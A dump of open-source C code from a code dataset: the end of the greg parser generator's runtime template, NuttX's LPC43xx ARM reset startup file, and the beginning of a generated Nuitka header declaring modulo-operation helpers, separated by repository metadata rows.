G->buf= (char*)YY_REALLOC(G->buf, G->buflen, G->data);\n\
}\n\
YY_INPUT((G->buf + G->pos), yyn, (G->buflen - G->pos));\n\
if (!yyn) return 0;\n\
G->limit += yyn;\n\
return 1;\n\
}\n\
\n\
YY_LOCAL(int) yymatchDot(GREG *G)\n\
{\n\
if (G->pos >= G->limit && !yyrefill(G)) return 0;\n\
++G->pos;\n\
return 1;\n\
}\n\
\n\
#ifdef YY_DEBUG\n\
YY_LOCAL(char *) yycontextline(struct _GREG *G, char *s)\n\
{\n\
char *context = s;\n\
char *nl = strchr(context, 10);\n\
if (nl) {\n\
context = (char*)YY_ALLOC(nl-s+1, G->data);\n\
strncpy(context, s, nl-s);\n\
context[nl-s] = '\\0'; /* replace nl by 0 */\n\
return context;\n\
} else return NULL;\n\
}\n\
YY_LOCAL(void) yyprintcontext(struct _GREG *G, FILE *stream, char *s)\n\
{\n\
char *context = yycontextline(G, s);\n\
if (context) {\n\
fprintf(stream, \" @ \\\"%s\\\"\", context);\n\
YY_FREE(context);\n\
}\n\
}\n\
#endif\n\
\n\
YY_LOCAL(void) yyerror(struct _GREG *G, char *message)\n\
{\n\
fputs(message, stderr);\n\
if (G->text[0]) fprintf(stderr, \" near token '%s'\", G->text);\n\
if (G->pos < G->limit || !feof(G->input)) {\n\
G->buf[G->limit]= '\\0';\n\
fprintf(stderr, \" before text \\\"\");\n\
while (G->pos < G->limit) {\n\
if ('\\n' == G->buf[G->pos] || '\\r' == G->buf[G->pos]) break;\n\
fputc(G->buf[G->pos++], stderr);\n\
}\n\
if (G->pos == G->limit) {\n\
int c;\n\
while (EOF != (c= fgetc(G->input)) && '\\n' != c && '\\r' != c)\n\
fputc(c, stderr);\n\
}\n\
fputc('\\\"', stderr);\n\
}\n\
fprintf(stderr, \" at %s:%d\\n\", G->filename, G->lineno);\n\
exit(1);\n\
}\n\
\n\
YY_LOCAL(int) yymatchChar(GREG *G, int c)\n\
{\n\
if (G->pos >= G->limit && !yyrefill(G)) return 0;\n\
if ((unsigned char)G->buf[G->pos] == c) {\n\
#ifdef YY_DEBUG\n\
if (c) {\n\
if (c<32) { yyprintfv((stderr, \" ok yymatchChar '0x%x'\", c));}\n\
else { yyprintfv((stderr, \" ok yymatchChar '%c'\", c));}\n\
yyprintfvGcontext;\n\
yyprintfv((stderr, \"\\n\"));\n\
} else {\n\
yyprintfv((stderr, \" ok yymatchChar '0x0' @ \\\"\\\"\\n\"));\n\
}\n\
#endif\n\
++G->pos;\n\
return 1;\n\
}\n\
if (c<32) { yyprintfv((stderr, \" fail yymatchChar '0x%x'\", c));}\n\
else { yyprintfv((stderr, \" fail yymatchChar '%c'\", c));}\n\
yyprintfvGcontext;\n\
yyprintfv((stderr, \"\\n\"));\n\
return 0;\n\
}\n\
\n\
YY_LOCAL(int) yymatchString(GREG *G, const char *s)\n\
{\n\
int yysav= G->pos;\n\
while (*s) {\n\
if (G->pos >= G->limit && !yyrefill(G)) return 0;\n\
if (G->buf[G->pos] != *s) {\n\
G->pos= yysav;\n\
return 0;\n\
}\n\
++s;\n\
++G->pos;\n\
}\n\
return 1;\n\
}\n\
\n\
YY_LOCAL(int) yymatchClass(GREG *G, unsigned char *bits, char *cclass)\n\
{\n\
int c;\n\
if (G->pos >= G->limit && !yyrefill(G)) return 0;\n\
c= (unsigned char)G->buf[G->pos];\n\
if (bits[c >> 3] & (1 << (c & 7))) {\n\
#ifdef YY_DEBUG\n\
if (G->buf[G->pos]) {\n\
yyprintfv((stderr, \" ok yymatchClass [%s]\", cclass));\n\
yyprintfvGcontext;\n\
yyprintfv((stderr, \"\\n\"));\n\
} else {\n\
yyprintfv((stderr, \" ok yymatchClass [%s] @ \\\"\\\"\\n\", cclass));\n\
}\n\
#endif\n\
++G->pos;\n\
return 1;\n\
}\n\
yyprintfv((stderr, \" fail yymatchClass [%s]\", cclass));\n\
yyprintfvGcontext;\n\
yyprintfv((stderr, \"\\n\"));\n\
return 0;\n\
}\n\
\n\
YY_LOCAL(void) yyDo(GREG *G, yyaction action, int begin, int end, const char *name)\n\
{\n\
while (G->thunkpos >= G->thunkslen) {\n\
G->thunkslen *= 2;\n\
G->thunks= (yythunk*)YY_REALLOC(G->thunks, sizeof(yythunk) * G->thunkslen, G->data);\n\
}\n\
G->thunks[G->thunkpos].begin= begin;\n\
G->thunks[G->thunkpos].end= end;\n\
G->thunks[G->thunkpos].action= action;\n\
G->thunks[G->thunkpos].name= name;\n\
++G->thunkpos;\n\
}\n\
\n\
YY_LOCAL(int) yyText(GREG *G, int begin, int end)\n\
{\n\
int yyleng= end - begin;\n\
if (yyleng <= 0)\n\
yyleng= 0;\n\
else {\n\
while (G->textlen < (yyleng + 1)) {\n\
G->textlen *= 2;\n\
G->text= (char*)YY_REALLOC(G->text, G->textlen, G->data);\n\
}\n\
memcpy(G->text, G->buf + begin, yyleng);\n\
}\n\
G->text[yyleng]= '\\0';\n\
return yyleng;\n\
}\n\
\n\
YY_LOCAL(void) yyDone(GREG *G)\n\
{\n\
int pos;\n\
for (pos= 0; pos < G->thunkpos; ++pos) {\n\
yythunk *thunk= &G->thunks[pos];\n\
int yyleng= thunk->end ? yyText(G, thunk->begin, thunk->end) : thunk->begin;\n\
yyprintfv((stderr, \"DO [%d] %s %d\", pos, thunk->name, thunk->begin));\n\
yyprintfvTcontext(G->text);\n\
yyprintfv((stderr, \"\\n\"));\n\
thunk->action(G, G->text, yyleng, thunk, G->data);\n\
}\n\
G->thunkpos= 0;\n\
}\n\
\n\
YY_LOCAL(void) yyCommit(GREG *G)\n\
{\n\
if ((G->limit -= G->pos)) {\n\
memmove(G->buf, G->buf + G->pos, G->limit);\n\
}\n\
G->offset += G->pos;\n\
G->begin -= G->pos;\n\
G->end -= G->pos;\n\
G->pos= G->thunkpos= 0;\n\
}\n\
\n\
YY_LOCAL(int) yyAccept(GREG *G, int tp0)\n\
{\n\
if (tp0) {\n\
fprintf(stderr, \"accept denied at %d\\n\", tp0);\n\
return 0;\n\
}\n\
else {\n\
yyDone(G);\n\
yyCommit(G);\n\
}\n\
return 1;\n\
}\n\
\n\
YY_LOCAL(void) yyPush(GREG *G, char *text, int count, yythunk *thunk, YY_XTYPE YY_XVAR) {\n\
yyprintfv((stderr, \"yyPush %d\\n\", count));\n\
size_t off = (G->val - G->vals) + count;\n\
if (off > G->valslen) {\n\
while (G->valslen < off + 1)\n\
G->valslen *= 2;\n\
G->vals= (YYSTYPE*)YY_REALLOC((void *)G->vals, sizeof(YYSTYPE) * G->valslen, G->data);\n\
G->val= G->vals + off;\n\
} else {\n\
G->val += count;\n\
}\n\
}\n\
YY_LOCAL(void) yyPop(GREG *G, char *text, int count, yythunk *thunk, YY_XTYPE YY_XVAR) {\n\
yyprintfv((stderr, \"yyPop %d\\n\", count));\n\
G->val -= count;\n\
}\n\
YY_LOCAL(void) yySet(GREG *G, char *text, int count, yythunk *thunk, YY_XTYPE YY_XVAR) {\n\
#ifdef YY_SET\n\
YY_SET(G,text,count,thunk,YY_XVAR);\n\
#else\n\
yyprintf((stderr, \"%s %d %p\\n\", thunk->name, count, (void *)yy));\n\
G->val[count]= yy;\n\
#endif\n\
}\n\
\n\
#endif /* YY_PART */\n\
\n\
#define YYACCEPT yyAccept(G, yythunkpos0)\n\
\n\
";
static char *footer= "\n\
\n\
#ifndef YY_PART\n\
\n\
typedef int (*yyrule)(GREG *G);\n\
\n\
YY_PARSE(int) YY_NAME(parse_from)(GREG *G, yyrule yystart)\n\
{\n\
int yyok;\n\
if (!G->buflen)\n\
{\n\
G->buflen= YY_BUFFER_START_SIZE;\n\
G->buf= (char*)YY_ALLOC(G->buflen, G->data);\n\
G->textlen= YY_BUFFER_START_SIZE;\n\
G->text= (char*)YY_ALLOC(G->textlen, G->data);\n\
G->thunkslen= YY_STACK_SIZE;\n\
G->thunks= (yythunk*)YY_ALLOC(sizeof(yythunk) * G->thunkslen, G->data);\n\
G->valslen= YY_STACK_SIZE;\n\
G->vals= (YYSTYPE*)YY_ALLOC(sizeof(YYSTYPE) * G->valslen, G->data);\n\
G->begin= G->end= G->pos= G->limit= G->thunkpos= 0;\n\
}\n\
G->pos = 0;\n\
G->begin= G->end= G->pos;\n\
G->thunkpos= 0;\n\
G->val= G->vals;\n\
yyok= yystart(G);\n\
if (yyok) yyDone(G);\n\
yyCommit(G);\n\
return yyok;\n\
(void)yyrefill;\n\
(void)yymatchDot;\n\
(void)yymatchChar;\n\
(void)yymatchString;\n\
(void)yymatchClass;\n\
(void)yyDo;\n\
(void)yyText;\n\
(void)yyDone;\n\
(void)yyCommit;\n\
(void)yyAccept;\n\
(void)yyPush;\n\
(void)yyPop;\n\
(void)yySet;\n\
}\n\
\n\
YY_PARSE(int) YY_NAME(parse)(GREG *G)\n\
{\n\
return YY_NAME(parse_from)(G, yy_%s);\n\
}\n\
\n\
YY_PARSE(GREG *) YY_NAME(parse_new)(YY_XTYPE data)\n\
{\n\
GREG *G= (GREG *)YY_CALLOC(1, sizeof(GREG), G->data);\n\
G->data= data;\n\
G->input= stdin;\n\
G->lineno= 1;\n\
G->filename= \"-\";\n\
return G;\n\
}\n\
YY_PARSE(void) YY_NAME(init)(GREG *G)\n\
{\n\
memset(G, 0, sizeof(GREG));\n\
G->input= stdin;\n\
G->lineno= 1;\n\
G->filename= \"-\";\n\
}\n\
\n\
YY_PARSE(void) YY_NAME(deinit)(GREG *G)\n\
{\n\
if (G->buf) YY_FREE(G->buf);\n\
if (G->text) YY_FREE(G->text);\n\
if (G->thunks) YY_FREE(G->thunks);\n\
if (G->vals) YY_FREE((void*)G->vals);\n\
}\n\
YY_PARSE(void) YY_NAME(parse_free)(GREG *G)\n\
{\n\
YY_NAME(deinit)(G);\n\
YY_FREE(G);\n\
}\n\
\n\
#endif\n\
";
void Rule_compile_c_header(void)
{
fprintf(output, "/* A recursive-descent parser generated by greg %d.%d.%d */\n", GREG_MAJOR, GREG_MINOR, GREG_LEVEL);
fprintf(output, "\n");
fprintf(output, "%s", header);
fprintf(output, "#define YYRULECOUNT %d\n", ruleCount);
}
int consumesInput(Node *node)
{
if (!node) return 0;
switch (node->type)
{
case Rule:
{
int result= 0;
if (RuleReached & node->rule.flags)
fprintf(stderr, "possible infinite left recursion in rule '%s'\n", node->rule.name);
else
{
node->rule.flags |= RuleReached;
result= consumesInput(node->rule.expression);
node->rule.flags &= ~RuleReached;
}
return result;
}
break;
case Dot: return 1;
case Name: return consumesInput(node->name.rule);
case Character:
case String: return strlen(node->string.value) > 0;
case Class: return 1;
case Action: return 0;
case Predicate: return 0;
case Error: return consumesInput(node->error.element);
case Alternate:
{
Node *n;
for (n= node->alternate.first; n; n= n->alternate.next)
if (!consumesInput(n))
return 0;
}
return 1;
case Sequence:
{
Node *n;
for (n= node->alternate.first; n; n= n->alternate.next)
if (consumesInput(n))
return 1;
}
return 0;
case PeekFor: return 0;
case PeekNot: return 0;
case Query: return 0;
case Star: return 0;
case Plus: return consumesInput(node->plus.element);
default:
fprintf(stderr, "\nconsumesInput: illegal node type %d\n", node->type);
exit(1);
}
return 0;
}
void Rule_compile_c(Node *node)
{
Node *n;
for (n= rules; n; n= n->rule.next)
consumesInput(n);
fprintf(output, "%s", preamble);
for (n= node; n; n= n->rule.next)
fprintf(output, "YY_RULE(int) yy_%s(GREG *G); /* %d */\n", n->rule.name, n->rule.id);
fprintf(output, "\n");
for (n= actions; n; n= n->action.list)
{
char *block = n->action.text;
char *tmp;
fprintf(output, "YY_ACTION(void) yy%s(GREG *G, char *yytext, int yyleng, yythunk *thunk, YY_XTYPE YY_XVAR)\n{\n", n->action.name);
defineVariables(n->action.rule->rule.variables);
while (*block == 0x20 || *block == 0x9) block++;
fprintf(output, " yyprintf((stderr, \"do yy%s\"));\n", n->action.name);
fprintf(output, " yyprintfvTcontext(yytext);\n");
tmp = yyqq(block);
fprintf(output, " yyprintf((stderr, \"\\n {%s}\\n\"));\n", tmp);
if (tmp != block) YY_FREE(tmp);
fprintf(output, " {\n");
fprintf(output, " %s;\n", block);
fprintf(output, " }\n");
undefineVariables(n->action.rule->rule.variables);
fprintf(output, "}\n");
}
Rule_compile_c2(node);
fprintf(output, footer, start->rule.name);
}
|
0c95ee16d9c3bcf500533207bdf62da0eb95d72a
|
aa3befea459382dc5c01c925653d54f435b3fb0f
|
/arch/arm/src/lpc43xx/lpc43_start.c
|
c61f748732ad0cd5bd70cf48928974c87d866bf3
|
[
"MIT-open-group",
"BSD-3-Clause",
"HPND-sell-variant",
"BSD-4-Clause-UC",
"LicenseRef-scancode-warranty-disclaimer",
"MIT-0",
"LicenseRef-scancode-bsd-atmel",
"LicenseRef-scancode-gary-s-brown",
"LicenseRef-scancode-proprietary-license",
"SunPro",
"MIT",
"LicenseRef-scancode-public-domain-disclaimer",
"LicenseRef-scancode-other-permissive",
"HPND",
"ISC",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"GPL-1.0-or-later",
"CC-BY-2.0",
"CC-BY-4.0"
] |
permissive
|
apache/nuttx
|
14519a7bff4a87935d94fb8fb2b19edb501c7cec
|
606b6d9310fb25c7d92c6f95bf61737e3c79fa0f
|
refs/heads/master
| 2023-08-25T06:55:45.822534
| 2023-08-23T16:03:31
| 2023-08-24T21:25:47
| 228,103,273
| 407
| 241
|
Apache-2.0
| 2023-09-14T18:26:05
| 2019-12-14T23:27:55
|
C
|
UTF-8
|
C
| false
| false
| 8,055
|
c
|
lpc43_start.c
|
/****************************************************************************
* arch/arm/src/lpc43xx/lpc43_start.c
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership. The
* ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
/* Power-Up Reset Overview
* -----------------------
*
* The ARM core starts executing code on reset with the program counter set
* to 0x0000:0000. The LPC43xx contains a shadow pointer register that
* allows areas of memory to be mapped to address 0x0000:0000. The default,
* reset value of the shadow pointer is 0x1040:0000 so that on reset code in
* the boot ROM is always executed first.
*
* The boot starts after reset is released. The IRC is selected as CPU clock
* and the Cortex-M4 starts the boot loader. By default the JTAG access to
* the chip is disabled at reset. The boot ROM determines the boot mode
* based on the OTP BOOT_SRC value or reset state pins. For flash-based
* parts, the part boots from internal flash by default. Otherwise, the boot
* ROM copies the image to internal SRAM at location 0x1000:0000, sets the
* ARM's shadow pointer to 0x1000:0000, and jumps to that location.
*
* However, using JTAG the executable image can be also loaded directly into
* and executed from SRAM.
*/
/****************************************************************************
* Included Files
****************************************************************************/
#include <nuttx/config.h>
#include <stdint.h>
#include <assert.h>
#include <debug.h>
#include <nuttx/init.h>
#include <arch/irq.h>
#include "arm_internal.h"
#include "nvic.h"
#include "hardware/lpc43_creg.h"
#include "lpc43_rgu.h"
#include "lpc43_cgu.h"
#include "lpc43_emc.h"
#include "lpc43_uart.h"
#include "lpc43_userspace.h"
#include "lpc43_start.h"
/****************************************************************************
* Pre-processor Definitions
****************************************************************************/
/****************************************************************************
* Name: showprogress
*
* Description:
* Print a character on the UART to show boot status.
*
****************************************************************************/
#ifdef CONFIG_DEBUG_FEATURES
# define showprogress(c) arm_lowputc(c)
#else
# define showprogress(c)
#endif
/****************************************************************************
* Private Functions
****************************************************************************/
/****************************************************************************
* Name: lpc43_setbootrom
*
* Description:
* Set the shadow register to 0x1040:0000 and the VTOR to 0x0000:0000 so
* that any exceptions (particularly things like hard faults) that occur
* before we are initialized are caught by the BOOT ROM.
*
****************************************************************************/
static inline void lpc43_setbootrom(void)
{
/* Set the shadow register to the beginning of the boot ROM
* (Only bits 12-31)
*/
putreg32(LPC43_ROM_BASE, LPC43_CREG_M4MEMMAP);
/* Address zero now maps to the Boot ROM. Make sure that the VTOR will
* use the ROM vector table at that address.
*/
putreg32(0, NVIC_VECTAB);
}
/****************************************************************************
* Name: lpc43_enabuffering
*
* Description:
* If we are executing from external FLASH, then enable buffering.
*
****************************************************************************/
#if defined(CONFIG_LPC43_BOOT_CS0FLASH) || defined(CONFIG_LPC43_BOOT_CS1FLASH) || \
defined(CONFIG_LPC43_BOOT_CS2FLASH) || defined(CONFIG_LPC43_BOOT_CS3FLASH)
static inline void lpc43_enabuffering(void)
{
uint32_t regval;
#ifdef CONFIG_LPC43_BOOT_CS0FLASH
regval = getreg32(LPC43_EMC_STATCONFIG0);
regval |= EMC_STATCONFIG_BENA
putreg32(regval, LPC43_EMC_STATCONFIG0);
#endif
#ifdef CONFIG_LPC43_BOOT_CS1FLASH
regval = getreg32(LPC43_EMC_STATCONFIG1);
regval |= EMC_STATCONFIG_BENA
putreg32(regval, LPC43_EMC_STATCONFIG1);
#endif
#ifdef CONFIG_LPC43_BOOT_CS2FLASH
regval = getreg32(LPC43_EMC_STATCONFIG2);
regval |= EMC_STATCONFIG_BENA
putreg32(regval, LPC43_EMC_STATCONFIG2);
#endif
#ifdef CONFIG_LPC43_BOOT_CS3FLASH
regval = getreg32(LPC43_EMC_STATCONFIG3);
regval |= EMC_STATCONFIG_BENA
putreg32(regval, LPC43_EMC_STATCONFIG3);
#endif
}
#else
# define lpc43_enabuffering()
#endif
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: __start
*
* Description:
* This is the reset entry point.
*
****************************************************************************/
void __start(void)
{
const uint32_t *src;
uint32_t *dest;
/* Reset as many of the LPC43 peripherals as possible. This is necessary
* because the LPC43 does not provide any way of performing a full system
* reset under debugger control. So, if CONFIG_DEBUG_FEATURES is set
* (indicating that a debugger is being used?), the boot logic will call
* this function on all restarts.
*/
#ifdef CONFIG_DEBUG_FEATURES
lpc43_softreset();
#endif
/* Make sure that any exceptions (such as hard faults) that occur before
* we are initialized are caught by the BOOT ROM.
*/
lpc43_setbootrom();
/* Configure the CGU clocking and the console uart so that we can get
* debug output as soon as possible.
*/
lpc43_clockconfig();
lpc43_lowsetup();
showprogress('A');
/* If we are executing from external FLASH, then enable buffering */
lpc43_enabuffering();
/* Clear .bss. We'll do this inline (vs. calling memset) just to be
* certain that there are no issues with the state of global variables.
*/
for (dest = (uint32_t *)_sbss; dest < (uint32_t *)_ebss; )
{
*dest++ = 0;
}
showprogress('B');
/* Move the initialized data section from his temporary holding spot in
* FLASH into the correct place in SRAM. The correct place in SRAM is
* give by _sdata and _edata. The temporary location is in FLASH at the
* end of all of the other read-only data (.text, .rodata) at _eronly.
*/
for (src = (const uint32_t *)_eronly,
dest = (uint32_t *)_sdata; dest < (uint32_t *)_edata;
)
{
*dest++ = *src++;
}
showprogress('C');
/* Initialize the FPU (if configured) */
arm_fpuconfig();
showprogress('D');
/* Perform early serial initialization */
#ifdef USE_EARLYSERIALINIT
arm_earlyserialinit();
#endif
showprogress('E');
/* For the case of the separate user-/kernel-space build, perform whatever
* platform specific initialization of the user memory is required.
* Normally this just means initializing the user space .data and .bss
* segments.
*/
#ifdef CONFIG_BUILD_PROTECTED
lpc43_userspace();
showprogress('F');
#endif
/* Initialize onboard resources */
lpc43_boardinitialize();
showprogress('G');
/* Then start NuttX */
showprogress('\r');
showprogress('\n');
nx_start();
/* Shouldn't get here */
for (; ; );
}
|
12482fc44e023ae5f1e61243d30afb5f523d4f2e
|
dcbef06d5a00f07756339b9e62c684dec2fee425
|
/nuitka/build/include/nuitka/helper/operations_binary_mod.h
|
98a1d32b48cc6c4c08960c12ffacffea934aaee5
|
[
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] |
permissive
|
Nuitka/Nuitka
|
f9543d8d95bfa0b81d4e60af0dfad99fb72893a4
|
d87faf2f7e1d6ed9bfe4cf8c1d648f34307e33f2
|
refs/heads/develop
| 2023-08-28T14:00:32.861328
| 2023-08-27T09:16:45
| 2023-08-27T09:16:45
| 9,626,741
| 8,573
| 599
|
Apache-2.0
| 2023-09-13T02:49:41
| 2013-04-23T15:40:33
|
Python
|
UTF-8
|
C
| false
| false
| 15,778
|
h
|
operations_binary_mod.h
|
// Copyright 2023, Kay Hayen, mailto:kay.hayen@gmail.com
//
// Part of "Nuitka", an optimizing Python compiler that is compatible and
// integrates with CPython, but also works on its own.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/* WARNING, this code is GENERATED. Modify the template HelperOperationBinary.c.j2 instead! */
/* This file is included from another C file, help IDEs to still parse it on its own. */
#ifdef __IDE_ONLY__
#include "nuitka/prelude.h"
#endif
/* C helpers for type specialized "%" (MOD) operations */
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "INT" to Python2 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_INT_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "OBJECT" corresponds to any Python object and "INT" to Python2 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_OBJECT_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "OBJECT" to any Python object. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_INT_OBJECT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "INT" to Python2 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_INT_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "OBJECT" corresponds to any Python object and "INT" to Python2 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_OBJECT_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "OBJECT" to any Python object. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_INT_OBJECT(PyObject *operand1, PyObject *operand2);
#endif
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "LONG" to Python2 'long', Python3 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_LONG_LONG(PyObject *operand1, PyObject *operand2);
/* Code referring to "OBJECT" corresponds to any Python object and "LONG" to Python2 'long', Python3 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_OBJECT_LONG(PyObject *operand1, PyObject *operand2);
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "OBJECT" to any Python object. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_LONG_OBJECT(PyObject *operand1, PyObject *operand2);
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "LONG" to Python2 'long', Python3 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_LONG_LONG(PyObject *operand1, PyObject *operand2);
/* Code referring to "OBJECT" corresponds to any Python object and "LONG" to Python2 'long', Python3 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_OBJECT_LONG(PyObject *operand1, PyObject *operand2);
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "OBJECT" to any Python object. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_LONG_OBJECT(PyObject *operand1, PyObject *operand2);
/* Code referring to "FLOAT" corresponds to Python 'float' and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_FLOAT_FLOAT(PyObject *operand1, PyObject *operand2);
/* Code referring to "OBJECT" corresponds to any Python object and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_OBJECT_FLOAT(PyObject *operand1, PyObject *operand2);
/* Code referring to "FLOAT" corresponds to Python 'float' and "OBJECT" to any Python object. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_FLOAT_OBJECT(PyObject *operand1, PyObject *operand2);
/* Code referring to "FLOAT" corresponds to Python 'float' and "FLOAT" to Python 'float'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_FLOAT_FLOAT(PyObject *operand1, PyObject *operand2);
/* Code referring to "OBJECT" corresponds to any Python object and "FLOAT" to Python 'float'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_OBJECT_FLOAT(PyObject *operand1, PyObject *operand2);
/* Code referring to "FLOAT" corresponds to Python 'float' and "OBJECT" to any Python object. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_FLOAT_OBJECT(PyObject *operand1, PyObject *operand2);
/* Code referring to "FLOAT" corresponds to Python 'float' and "LONG" to Python2 'long', Python3 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_FLOAT_LONG(PyObject *operand1, PyObject *operand2);
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_LONG_FLOAT(PyObject *operand1, PyObject *operand2);
/* Code referring to "FLOAT" corresponds to Python 'float' and "LONG" to Python2 'long', Python3 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_FLOAT_LONG(PyObject *operand1, PyObject *operand2);
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "FLOAT" to Python 'float'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_LONG_FLOAT(PyObject *operand1, PyObject *operand2);
#if PYTHON_VERSION < 0x300
/* Code referring to "FLOAT" corresponds to Python 'float' and "INT" to Python2 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_FLOAT_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_INT_FLOAT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "FLOAT" corresponds to Python 'float' and "INT" to Python2 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_FLOAT_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "FLOAT" to Python 'float'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_INT_FLOAT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "INT" to Python2 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_LONG_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "LONG" to Python2 'long', Python3 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_INT_LONG(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "LONG" corresponds to Python2 'long', Python3 'int' and "INT" to Python2 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_LONG_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "LONG" to Python2 'long', Python3 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_INT_LONG(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "CLONG" to C platform long value. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_INT_CLONG(PyObject *operand1, long operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "CLONG" corresponds to C platform long value and "INT" to Python2 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_CLONG_INT(long operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "INT" corresponds to Python2 'int' and "CLONG" to C platform long value. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_INT_CLONG(PyObject *operand1, long operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "CLONG" corresponds to C platform long value and "INT" to Python2 'int'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_CLONG_INT(long operand1, PyObject *operand2);
#endif
/* Code referring to "FLOAT" corresponds to Python 'float' and "CFLOAT" to C platform float value. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_FLOAT_CFLOAT(PyObject *operand1, double operand2);
/* Code referring to "CFLOAT" corresponds to C platform float value and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_CFLOAT_FLOAT(double operand1, PyObject *operand2);
/* Code referring to "FLOAT" corresponds to Python 'float' and "CFLOAT" to C platform float value. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_FLOAT_CFLOAT(PyObject *operand1, double operand2);
/* Code referring to "CFLOAT" corresponds to C platform float value and "FLOAT" to Python 'float'. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_CFLOAT_FLOAT(double operand1, PyObject *operand2);
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "INT" to Python2 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_INT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
